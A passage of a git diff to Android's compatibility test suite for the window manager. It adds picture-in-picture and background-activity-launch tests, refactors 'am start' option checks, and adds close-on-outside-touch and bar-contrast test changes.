+
+package android.server.wm.app27;
+
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class LaunchEnterPipActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
+            startActivity(new Intent(this, PipActivity.class));
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/app27/src/android/server/wm/app27/PipActivity.java b/tests/framework/base/windowmanager/app27/src/android/server/wm/app27/PipActivity.java
new file mode 100644
index 0000000..6bcf8fa
--- /dev/null
+++ b/tests/framework/base/windowmanager/app27/src/android/server/wm/app27/PipActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app27;
+
+import android.app.Activity;
+import android.app.PictureInPictureParams;
+import android.os.Bundle;
+import android.util.Rational;
+
+public class PipActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        enterPictureInPictureMode(
+                new PictureInPictureParams.Builder()
+                        .setAspectRatio(new Rational(1, 1))
+                        .build());
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
index 9e98b64..eb156b6 100755
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
@@ -18,6 +18,9 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.server.wm.backgroundactivity.appa">
 
+    <!-- To enable the app to start activities from the background. -->
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
     <application android:testOnly="true">
         <receiver
             android:name=".StartBackgroundActivityReceiver"
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
index 56aa319..5023481 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
@@ -46,6 +46,10 @@
                 "START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA";
         public static final String START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA =
                 "START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA";
+        public static final String LAUNCH_INTENTS_EXTRA = "LAUNCH_INTENTS_EXTRA";
+
+        public static final String ACTION_LAUNCH_BACKGROUND_ACTIVITIES =
+                Components.class.getPackage().getName() + ".ACTION_LAUNCH_BACKGROUND_ACTIVITIES";
     }
 
     /** Extra key constants for {@link #APP_A_SEND_PENDING_INTENT_RECEIVER} */
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java
index 377cabf..1413fbc 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java
@@ -16,17 +16,25 @@
 
 package android.server.wm.backgroundactivity.appa;
 
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.ACTION_LAUNCH_BACKGROUND_ACTIVITIES;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_BACKGROUND_ACTIVITY_EXTRA;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_INTENTS_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_SECOND_BACKGROUND_ACTIVITY_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.RELAUNCH_FOREGROUND_ACTIVITY_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA;
 
 import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.os.Bundle;
+import android.os.Parcelable;
 import android.os.SystemClock;
 
+import java.util.Arrays;
+
 /**
  * Foreground activity that makes AppA as foreground.
  */
@@ -34,6 +42,16 @@
 
     private boolean mRelaunch = false;
 
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            // Need to copy as a new array instead of just casting to Intent[] since a new array of
+            // type Parcelable[] is created when deserializing.
+            Parcelable[] intents = intent.getParcelableArrayExtra(LAUNCH_INTENTS_EXTRA);
+            startActivities(Arrays.copyOf(intents, intents.length, Intent[].class));
+        }
+    };
+
     @Override
     public void onCreate(Bundle bundle) {
         super.onCreate(bundle);
@@ -66,6 +84,7 @@
             newIntent.setClass(this, SecondBackgroundActivity.class);
             startActivity(newIntent);
         }
+        registerReceiver(mReceiver, new IntentFilter(ACTION_LAUNCH_BACKGROUND_ACTIVITIES));
     }
 
     @Override
@@ -78,4 +97,10 @@
             startActivity(getIntent());
         }
     }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        unregisterReceiver(mReceiver);
+    }
 }
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 0a51a0d..b4d3ee9 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -16,6 +16,8 @@
 
 package android.server.wm;
 
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.MODE_ERRORED;
 import static android.server.wm.ActivityManagerState.STATE_INITIALIZING;
 import static android.server.wm.ActivityManagerState.STATE_RESUMED;
 import static android.server.wm.ComponentNameUtils.getActivityName;
@@ -28,7 +30,9 @@
 import static android.server.wm.backgroundactivity.appa.Components.APP_A_SEND_PENDING_INTENT_RECEIVER;
 import static android.server.wm.backgroundactivity.appa.Components.APP_A_SIMPLE_ADMIN_RECEIVER;
 import static android.server.wm.backgroundactivity.appa.Components.APP_A_START_ACTIVITY_RECEIVER;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.ACTION_LAUNCH_BACKGROUND_ACTIVITIES;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_BACKGROUND_ACTIVITY_EXTRA;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_INTENTS_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_SECOND_BACKGROUND_ACTIVITY_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.RELAUNCH_FOREGROUND_ACTIVITY_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA;
@@ -58,9 +62,10 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.FlakyTest;
 
+import com.android.compatibility.common.util.AppOpsUtils;
+
 import org.junit.After;
 import org.junit.Before;
-import org.junit.Ignore;
 import org.junit.Test;
 
 import java.util.List;
@@ -77,6 +82,7 @@
 public class BackgroundActivityLaunchTest extends ActivityManagerTestBase {
 
     private static final int ACTIVITY_FOCUS_TIMEOUT_MS = 3000;
+    private static final String APP_A_PACKAGE_NAME = APP_A_FOREGROUND_ACTIVITY.getPackageName();
 
     private static final String TEST_PACKAGE_APP_A = "android.server.wm.backgroundactivity.appa";
     private static final String TEST_PACKAGE_APP_B = "android.server.wm.backgroundactivity.appb";
@@ -87,6 +93,11 @@
         mAm = mContext.getSystemService(ActivityManager.class);
         mAtm = mContext.getSystemService(ActivityTaskManager.class);
 
+        // disable SAW appopp for AppA (it's granted autonatically when installed in CTS)
+        AppOpsUtils.setOpMode(APP_A_PACKAGE_NAME, "android:system_alert_window", MODE_ERRORED);
+        assertEquals(AppOpsUtils.getOpMode(APP_A_PACKAGE_NAME, "android:system_alert_window"),
+                MODE_ERRORED);
+
         pressWakeupButton();
         pressUnlockButton();
         removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
@@ -105,6 +116,7 @@
         stopTestPackage(TEST_PACKAGE_APP_A);
         stopTestPackage(TEST_PACKAGE_APP_B);
         pressHomeButton();
+        AppOpsUtils.reset(APP_A_PACKAGE_NAME);
         mAmWmState.waitForHomeActivityVisible();
         runWithShellPermissionIdentity(() -> {
             runShellCommand("dpm remove-active-admin --user current "
@@ -137,6 +149,21 @@
     }
 
     @Test
+    public void testBackgroundActivityNotBlockedWhenSystemAlertWindowGranted() throws Exception {
+        // enable appopp for SAW for this test
+        AppOpsUtils.setOpMode(APP_A_PACKAGE_NAME, "android:system_alert_window", MODE_ALLOWED);
+        assertEquals(AppOpsUtils.getOpMode(APP_A_PACKAGE_NAME, "android:system_alert_window"),
+                MODE_ALLOWED);
+
+        // Start AppA background activity successfully as the package has SAW
+        Intent intent = new Intent();
+        intent.setComponent(APP_A_START_ACTIVITY_RECEIVER);
+        mContext.sendBroadcast(intent);
+        boolean result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
+        assertTrue("Not able to start foreground activity", result);
+    }
+
+    @Test
     public void testBackgroundActivityNotBlockedWhenForegroundActivityExists() throws Exception {
         // Start AppA foreground activity
         Intent intent = new Intent();
@@ -172,7 +199,6 @@
                 APP_A_FOREGROUND_ACTIVITY);
     }
 
-    @Ignore // test temporarily disabled due to bg activity start grace period introduction
     @Test
     public void testActivityNotBlockedwhenForegroundActivityLaunchInSameTask() throws Exception {
         // Start foreground activity, and foreground activity able to launch background activity
@@ -192,9 +218,7 @@
         pressHomeButton();
         mAmWmState.waitForHomeActivityVisible();
 
-        // Any activity launch will be blocked for 5s because of app switching protection.
-        SystemClock.sleep(7000);
-
+        waitToPreventAppSwitchProtection();
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
         result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
@@ -203,7 +227,6 @@
                 APP_A_FOREGROUND_ACTIVITY);
     }
 
-    @Ignore // test temporarily disabled due to bg activity start grace period introduction
     @Test
     public void testActivityNotBlockedWhenForegroundActivityLaunchInDifferentTask()
             throws Exception {
@@ -225,9 +248,7 @@
         pressHomeButton();
         mAmWmState.waitForHomeActivityVisible();
 
-        // Any activity launch will be blocked for 5s because of app switching protection.
-        SystemClock.sleep(7000);
-
+        waitToPreventAppSwitchProtection();
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
         result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
@@ -236,7 +257,6 @@
         assertTaskStack(null, APP_A_BACKGROUND_ACTIVITY);
     }
 
-    @Ignore // test temporarily disabled due to bg activity start grace period introduction
     @Test
     @FlakyTest(bugId = 130800326)
     public void testActivityBlockedWhenForegroundActivityRestartsItself() throws Exception {
@@ -254,9 +274,7 @@
         pressHomeButton();
         mAmWmState.waitForHomeActivityVisible();
 
-        // Any activity launch will be blocked for 5s because of app switching protection.
-        SystemClock.sleep(5000);
-
+        waitToPreventAppSwitchProtection();
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
         assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
@@ -284,6 +302,39 @@
     }
 
     @Test
+    public void testSecondActivityBlockedWhenBackgroundActivityLaunch() throws Exception {
+        Intent baseActivityIntent = new Intent();
+        baseActivityIntent.setComponent(APP_A_FOREGROUND_ACTIVITY);
+        baseActivityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(baseActivityIntent);
+        boolean result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
+        assertTrue("Not able to start foreground activity", result);
+        assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
+        pressHomeButton();
+        mAmWmState.waitForHomeActivityVisible();
+        waitToPreventAppSwitchProtection();
+
+        // The activity, now in the background, will attempt to start 2 activities in quick
+        // succession
+        Intent broadcastIntent = new Intent(ACTION_LAUNCH_BACKGROUND_ACTIVITIES);
+        Intent bgActivity1 = new Intent();
+        bgActivity1.setComponent(APP_A_BACKGROUND_ACTIVITY);
+        Intent bgActivity2 = new Intent();
+        bgActivity2.setComponent(APP_A_SECOND_BACKGROUND_ACTIVITY);
+        broadcastIntent.putExtra(LAUNCH_INTENTS_EXTRA, new Intent[]{bgActivity1, bgActivity2});
+        mContext.sendBroadcast(broadcastIntent);
+
+        // There should be 2 activities in the background (not focused) INITIALIZING
+        result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
+        assertFalse("Activity should not have been launched in the foreground", result);
+        result = waitForActivityFocused(APP_A_SECOND_BACKGROUND_ACTIVITY);
+        assertFalse("Second activity should not have been launched in the foreground", result);
+        assertTaskStack(
+                new ComponentName[]{APP_A_SECOND_BACKGROUND_ACTIVITY, APP_A_BACKGROUND_ACTIVITY,
+                        APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
+    }
+
+    @Test
     public void testPendingIntentActivityBlocked() throws Exception {
         // Cannot start activity by pending intent, as both appA and appB are in background
         sendPendingIntentActivity();
@@ -377,6 +428,11 @@
         assertTaskStack(new ComponentName[]{APP_A_BACKGROUND_ACTIVITY}, APP_A_BACKGROUND_ACTIVITY);
     }
 
+    private void waitToPreventAppSwitchProtection() {
+        // Any activity launch will be blocked for 5s because of app switching protection.
+        SystemClock.sleep(7000);
+    }
+
     private void assertTaskStack(ComponentName[] expectedComponents,
             ComponentName sourceComponent) {
         if (expectedComponents == null) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityManagerGetConfigTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityManagerGetConfigTests.java
index fe30e1a..8895b62 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityManagerGetConfigTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityManagerGetConfigTests.java
@@ -251,16 +251,11 @@
         assertEquals("Expected mnc does not match",
                 config.mnc, resConfig.configuration.mnc);
         LocaleList llist = config.getLocales();
-        LocaleProto[] lprotos = resConfig.configuration.locales;
-        assertEquals("Expected number of locales does not match",
-                llist.size(), lprotos.length);
+        LocaleList lprotos = LocaleList.forLanguageTags(resConfig.configuration.localeList);
+        assertEquals("Expected number of locales does not match", llist.size(), lprotos.size());
         for (int i = 0; i < llist.size(); i++) {
-            assertEquals("Expected locale #" + i + " language does not match",
-                    llist.get(i).getLanguage(), lprotos[i].language);
-            assertEquals("Expected locale #" + i + " country does not match",
-                    llist.get(i).getCountry(), lprotos[i].country);
-            assertEquals("Expected locale #" + i + " variant does not match",
-                    llist.get(i).getVariant(), lprotos[i].variant);
+            assertEquals("Expected locale #" + i + " does not match",
+                    llist.get(i).toLanguageTag(), lprotos.get(i).toLanguageTag());
         }
         assertEquals("Expected screen layout does not match",
                 config.screenLayout, resConfig.configuration.screenLayout);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
index c83cb2e..839371f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
@@ -29,9 +29,7 @@
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.fail;
 
 import android.content.ComponentName;
 import android.platform.test.annotations.Presubmit;
@@ -40,9 +38,6 @@
 
 import org.junit.Test;
 
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
 /**
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:AmStartOptionsTests
@@ -92,9 +87,10 @@
         // Start LaunchingActivity again and finish TestActivity
         final int flags =
                 FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP | FLAG_ACTIVITY_SINGLE_TOP;
-        final String result = executeShellCommand(
-                "am start -W -f " + flags + " -n " + getActivityName(LAUNCHING_ACTIVITY));
-        verifyShellOutput(result, LAUNCHING_ACTIVITY, false);
+        executeShellCommand("am start -W -f " + flags + " -n " + getActivityName(LAUNCHING_ACTIVITY)
+                + " --display " + DEFAULT_DISPLAY);
+        waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
+                "Activity must be launched.");
     }
 
     private void testDashW(final ComponentName entryActivity, final ComponentName actualActivity)
@@ -112,73 +108,16 @@
 
     private void startActivityAndVerifyResult(final ComponentName entryActivity,
             final ComponentName actualActivity, boolean shouldStart) {
-        // See TODO below
-        // final LogSeparator logSeparator = separateLogs();
+        mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
 
         // Pass in different data only when cold starting. This is to make the intent
         // different in subsequent warm/hot launches, so that the entrypoint alias
         // activity is always started, but the actual activity is not started again
         // because of the NEW_TASK and singleTask flags.
-        final String result = executeShellCommand(
-                "am start -n " + getActivityName(entryActivity) + " -W"
-                + (shouldStart ? " -d about:blank" : ""));
+        executeShellCommand("am start -n " + getActivityName(entryActivity) + " -W --display "
+                + DEFAULT_DISPLAY + (shouldStart ? " -d about:blank" : ""));
 
-        // Verify shell command return value
-        verifyShellOutput(result, actualActivity, shouldStart);
-
-        // TODO: Disable logcat check for now.
-        // Logcat of WM or AM tag could be lost (eg. chatty if earlier events generated
-        // too many lines), and make the test look flaky. We need to either use event
-        // log or swith to other mechanisms. Only verify shell output for now, it should
-        // still catch most failures.
-
-        // Verify adb logcat log
-        //verifyLogcat(actualActivity, shouldStart, logSeparator);
+        waitAndAssertTopResumedActivity(actualActivity, DEFAULT_DISPLAY,
+                "Activity must be launched");
     }
-
-    private static final Pattern sNotStartedWarningPattern = Pattern.compile(
-            "Warning: Activity not started(.*)");
-    private static final Pattern sStatusPattern = Pattern.compile(
-            "Status: (.*)");
-    private static final Pattern sActivityPattern = Pattern.compile(
-            "Activity: (.*)");
-    private static final String sStatusOk = "ok";
-
-    private void verifyShellOutput(
-            final String result, final ComponentName activity, boolean shouldStart) {
-        boolean warningFound = false;
-        String status = null;
-        String reportedActivity = null;
-
-        final String[] lines = result.split("\\n");
-        // Going from the end of logs to beginning in case if some other activity is started first.
-        for (int i = lines.length - 1; i >= 0; i--) {
-            final String line = lines[i].trim();
-            Matcher matcher = sNotStartedWarningPattern.matcher(line);
-            if (matcher.matches()) {
-                warningFound = true;
-                continue;
-            }
-            matcher = sStatusPattern.matcher(line);
-            if (matcher.matches()) {
-                status = matcher.group(1);
-                continue;
-            }
-            matcher = sActivityPattern.matcher(line);
-            if (matcher.matches()) {
-                reportedActivity = matcher.group(1);
-                continue;
-            }
-        }
-
-        assertEquals("Status is ok", sStatusOk, status);
-        assertEquals("Reported activity is " +  getActivityName(activity),
-                getActivityName(activity), reportedActivity);
-
-        if (shouldStart && warningFound) {
-            fail("Should start new activity but brought something to front.");
-        } else if (!shouldStart && !warningFound){
-            fail("Should bring existing activity to front but started new activity.");
-        }
-    }
-}
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index e128f47..d6489a8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -410,6 +410,9 @@
     /**
      * Test that device orientation is restored when an activity that requests it is no longer
      * visible.
+     *
+     * TODO(b/139936670, b/112688380): This test case fails on some vendor devices which has
+     * rotation sensing optimization. So this is listed in cts-known-failures.xml.
      */
     @Test
     public void testAppOrientationRequestConfigClears() {
@@ -515,6 +518,9 @@
 
     /**
      * Test that device handles moving between two tasks with different orientations.
+     *
+     * TODO(b/139936670, b/112688380): This test case fails on some vendor devices which has
+     * rotation sensing optimization. So this is listed in cts-known-failures.xml.
      */
     @Test
     public void testTaskCloseRestoreFreeOrientation() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CloseOnOutsideTestActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/CloseOnOutsideTestActivity.java
new file mode 100644
index 0000000..5f4a88d
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CloseOnOutsideTestActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.DisplayMetrics;
+import android.view.WindowManager.LayoutParams;
+
+import androidx.annotation.Nullable;
+
+
+/**
+ * Activity that makes its Window half width/height so that an area exists outside which can be
+ * tapped to close it when {@link Activity#setFinishOnTouchOutside(boolean)} is enabled.
+ */
+public class CloseOnOutsideTestActivity extends Activity {
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        DisplayMetrics displayMetrics = getResources().getDisplayMetrics();
+        int width = displayMetrics.widthPixels;
+        int height = displayMetrics.heightPixels;
+
+        LayoutParams params = getWindow().getAttributes();
+        params.width = width / 2;
+        params.height = height / 2;
+        getWindow().setAttributes(params);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CloseOnOutsideTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CloseOnOutsideTests.java
new file mode 100644
index 0000000..313c5f5
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CloseOnOutsideTests.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
+import android.app.Instrumentation;
+import android.util.DisplayMetrics;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ShellUtils;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link android.view.Window#setCloseOnTouchOutside(boolean)} through exposed Activity API.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CloseOnOutsideTests {
+
+    @Rule
+    public final ActivityTestRule<CloseOnOutsideTestActivity> mTestActivity =
+            new ActivityTestRule<>(CloseOnOutsideTestActivity.class, true, true);
+
+    @Test
+    public void withDefaults() {
+        touchAndAssert(false /* shouldBeFinishing */);
+    }
+
+    @Test
+    public void finishTrue() {
+        mTestActivity.getActivity().setFinishOnTouchOutside(true);
+        touchAndAssert(true /* shouldBeFinishing */);
+    }
+
+    @Test
+    public void finishFalse() {
+        mTestActivity.getActivity().setFinishOnTouchOutside(false);
+        touchAndAssert(false /* shouldBeFinishing */);
+    }
+
+    // Tap the bottom right and check the Activity is finishing
+    private void touchAndAssert(boolean shouldBeFinishing) {
+        DisplayMetrics displayMetrics =
+                mTestActivity.getActivity().getResources().getDisplayMetrics();
+        int width = (int) (displayMetrics.widthPixels * 0.875f);
+        int height = (int) (displayMetrics.heightPixels * 0.875f);
+
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+
+        // To be safe, make sure nothing else is finishing the Activity
+        instrumentation.runOnMainSync(() -> assertFalse(mTestActivity.getActivity().isFinishing()));
+
+        ShellUtils.runShellCommand("input tap %d %d", width, height);
+
+        instrumentation.runOnMainSync(
+                () -> assertEquals(shouldBeFinishing, mTestActivity.getActivity().isFinishing()));
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index 2fc2f1e..f51f0b6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -73,7 +73,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 129521230)
     public void testNonDefaultDisplayResourcesConfiguration() throws Exception {
         final int smallDisplaySize = 1000;
         final int longDisplaySize = 1920;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
index 331716a..4eae8f1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
@@ -16,12 +16,18 @@
 
 package android.server.wm;
 
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 import static android.server.wm.EnsureBarContrastTest.TestActivity.EXTRA_ENSURE_CONTRAST;
 import static android.server.wm.EnsureBarContrastTest.TestActivity.EXTRA_LIGHT_BARS;
 import static android.server.wm.EnsureBarContrastTest.TestActivity.backgroundForBar;
+import static android.server.wm.BarTestUtils.assumeHasColoredBars;
+import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar;
+import static android.server.wm.BarTestUtils.assumeHasColoredStatusBar;
+import static android.server.wm.BarTestUtils.isAssumptionViolated;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Activity;
 import android.content.Intent;
@@ -37,7 +43,6 @@
 import android.view.ViewGroup;
 import android.view.WindowInsets;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.rule.ActivityTestRule;
 
 import com.android.compatibility.common.util.PollingCheck;
@@ -45,6 +50,7 @@
 import org.hamcrest.CustomTypeSafeMatcher;
 import org.hamcrest.Description;
 import org.hamcrest.Matcher;
+import org.junit.AssumptionViolatedException;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ErrorCollector;
@@ -84,8 +90,13 @@
     }
 
     public void runTestEnsureContrast(boolean lightBars) {
+        assumeHasColoredBars();
         TestActivity activity = launchAndWait(mTestActivity, lightBars, true /* ensureContrast */);
         for (Bar bar : Bar.BARS) {
+            if (isAssumptionViolated(() -> bar.checkAssumptions(mTestActivity))) {
+                continue;
+            }
+
             Bitmap bitmap = getOnMainSync(() -> activity.screenshotBar(bar, mDumper));
 
             if (getOnMainSync(() -> activity.barIsTapThrough(bar))) {
@@ -112,6 +123,10 @@
     }
 
     public void runTestDontEnsureContrast(boolean lightBars) {
+        assumeFalse(
+                "Skipping test: automotive may not have transparent background for the status bar",
+                getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+                        FEATURE_AUTOMOTIVE));
         TestActivity activity = launchAndWait(mTestActivity, lightBars, false /* ensureContrast */);
         for (Bar bar : Bar.BARS) {
             Bitmap bitmap = getOnMainSync(() -> activity.screenshotBar(bar, mDumper));
@@ -307,6 +322,11 @@
                 r.bottom = r.top + getInset(insets);
                 return r;
             }
+
+            @Override
+            void checkAssumptions(ActivityTestRule<?> rule) throws AssumptionViolatedException {
+                assumeHasColoredStatusBar(rule);
+            }
         };
 
         static final Bar NAVIGATION = new Bar("Navigation") {
@@ -321,6 +341,11 @@
                 r.top = r.bottom - getInset(insets);
                 return r;
             }
+
+            @Override
+            void checkAssumptions(ActivityTestRule<?> rule) throws AssumptionViolatedException {
+                assumeHasColoredNavigationBar(rule);
+            }
         };
 
